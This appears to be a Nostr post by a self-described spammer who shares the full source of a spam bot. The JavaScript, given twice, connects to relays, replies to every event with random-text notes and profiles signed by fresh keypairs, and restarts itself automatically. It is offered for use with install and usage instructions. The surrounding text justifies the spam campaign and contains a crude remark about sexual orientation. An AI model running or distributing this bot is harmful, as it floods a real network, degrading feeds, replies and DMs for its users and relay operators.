33
33c68565
33c6856583b5cd5932a5b339b87138a2b6b75f83886176032284d339cf1054fb
Hi. I am the one who did the mass spam bots. I am no longer touching this account & no longer telling you who exactly i am. All remains a mystery. You may also check: - note1ydazp4s0k2c8q5swzm336frttzcdq6atkpvm7uuzmt866qdtzgtqngnr6q SpamBot Source Code: // Save the following as index.js // Licensed under Public Domain. // Before running the following, Ensure that you've installed ws and nostr-tools: // ~/nostrspam $ npm install ws nostr-tools // Usage: node index.js wss://relay.example1.com wss://relay.example2.com .... const relays = process.argv.slice(2); const filter = {} // If needed. if (!process.env.RELAY_URL && !relays.length) { console.log("Usage: node index.js [relay-addresses]"); process.exit(1); } if (!process.env.RELAY_URL) { console.log("Relays:", relays.join(", ")); const cluster = require('cluster'); for (RELAY_URL of relays) { cluster.fork({ RELAY_URL }); } cluster.on('exit', (worker, code, signal) => { console.log(`Worker ${worker.process.pid} died. Forking another one....`); cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL }); }); return; } const WebSocket = require('ws'); const crypto = require('crypto'); const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools'); const randStr = _ => crypto.randomBytes(_).toString("base64url"); function spam(tags = [], c) { const privkey = generatePrivateKey(); const pubkey = getPublicKey(privkey); let profile = { created_at: Math.floor(Date.now() / 1000), kind: 0, pubkey, content: JSON.stringify({ about: randStr(300), display_name: randStr(20), name: randStr(20) }), tags: [] } let event = { created_at: Math.floor(Date.now() / 1000), kind: 1, pubkey, content: randStr(300), tags } profile.id = getEventHash(profile); profile.sig = getSignature(profile, privkey); event.id = getEventHash(event); event.sig = getSignature(event, privkey); if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid"); return [profile, event]; } function newrelay(addr, eose = false) { const relay = new WebSocket(addr); relay.addr = addr; console.log("connecting", addr) relay.on('open', _ => { relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`); console.log("ESTABLISHED", addr); }); relay.on('message', data => { try { data = JSON.parse(data); } catch (error) { return console.error(error); } if (data[0] === "OK") return console.log(addr, data.join(" ")); if (data[0] !== "EVENT") return; const ev = data[2]; for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam([["e", ev.id]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam()) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } console.log(addr, ev.pubkey, ev.id); }); relay.on('error', _ => console.error(relay.addr, _)); relay.on('close', _ => { for (i in ['open', 'message', 'error', 'close']) { relay.removeAllListeners(i); } newrelay(addr); }); } newrelay(process.env.RELAY_URL);

// Save the following as index.js

// Licensed under Public Domain.

// Before running the following, Ensure that you've installed ws and nostr-tools:

// ~/nostrspam $ npm install ws nostr-tools

// Usage: node index.js wss://relay.example1.com wss://relay.example2.com ....

const relays = process.argv.slice(2);

const filter = {} // If needed.

if (!process.env.RELAY_URL && !relays.length) {

console.log("Usage: node index.js [relay-addresses]");

process.exit(1);

}

if (!process.env.RELAY_URL) {

console.log("Relays:", relays.join(", "));

const cluster = require('cluster');

for (RELAY_URL of relays) {

cluster.fork({ RELAY_URL });

}

cluster.on('exit', (worker, code, signal) => {

console.log(`Worker ${worker.process.pid} died. Forking another one....`);

cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL });

});

return;

}

const WebSocket = require('ws');

const crypto = require('crypto');

const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools');

const randStr = _ => crypto.randomBytes(_).toString("base64url");

function spam(tags = [], c) {

const privkey = generatePrivateKey();

const pubkey = getPublicKey(privkey);

let profile = {

created_at: Math.floor(Date.now() / 1000),

kind: 0,

pubkey,

content: JSON.stringify({

about: randStr(300),

display_name: randStr(20),

name: randStr(20)

}),

tags: []

}

let event = {

created_at: Math.floor(Date.now() / 1000),

kind: 1,

pubkey,

content: randStr(300),

tags

}

profile.id = getEventHash(profile);

profile.sig = getSignature(profile, privkey);

event.id = getEventHash(event);

event.sig = getSignature(event, privkey);

if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid");

return [profile, event];

}

function newrelay(addr, eose = false) {

const relay = new WebSocket(addr);

relay.addr = addr;

console.log("connecting", addr)

relay.on('open', _ => {

relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`);

console.log("ESTABLISHED", addr);

});

relay.on('message', data => {

try {

data = JSON.parse(data);

} catch (error) {

return console.error(error);

}

if (data[0] === "OK") return console.log(addr, data.join(" "));

if (data[0] !== "EVENT") return;

const ev = data[2];

for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

for (sendev of spam([["e", ev.id]], ev.content)) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

for (sendev of spam()) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

console.log(addr, ev.pubkey, ev.id);

});

relay.on('error', _ => console.error(relay.addr, _));

relay.on('close', _ => {

for (i in ['open', 'message', 'error', 'close']) {

relay.removeAllListeners(i);

}

newrelay(addr);

});

}

newrelay(process.env.RELAY_URL);

Alright. This probably my last moment on Nostr.

>tells me to suicide

>"please kys"

>but also follows me

My reaction:

I never said that my spam is helping.

They are rather "pulling up attentions".

- Damus will gets removed from app store due to "zaps"

- ZE** (Forget) rejected due to "zaps"

- And now the major spam on Nostr, which impacting comment sections, Global feeds, DMs, and other.

> “I’m going to annoy you until you implement my idea.”

I did not annoy you to force implementing my ideas,

But to brainstorm while getting noises.

You are allowed to brainstorm your ideas.

But note, Relying on something like verification such as captcha, email verification, or similiar already breaks the nostr goal.

99% is gay and 99% is lesbians.

A cloud that mixed with black cloud is just weird.

The way of how to do it is almost similiar like i did, Making new npubs at every events.

And there are no solution for that, unfortunately.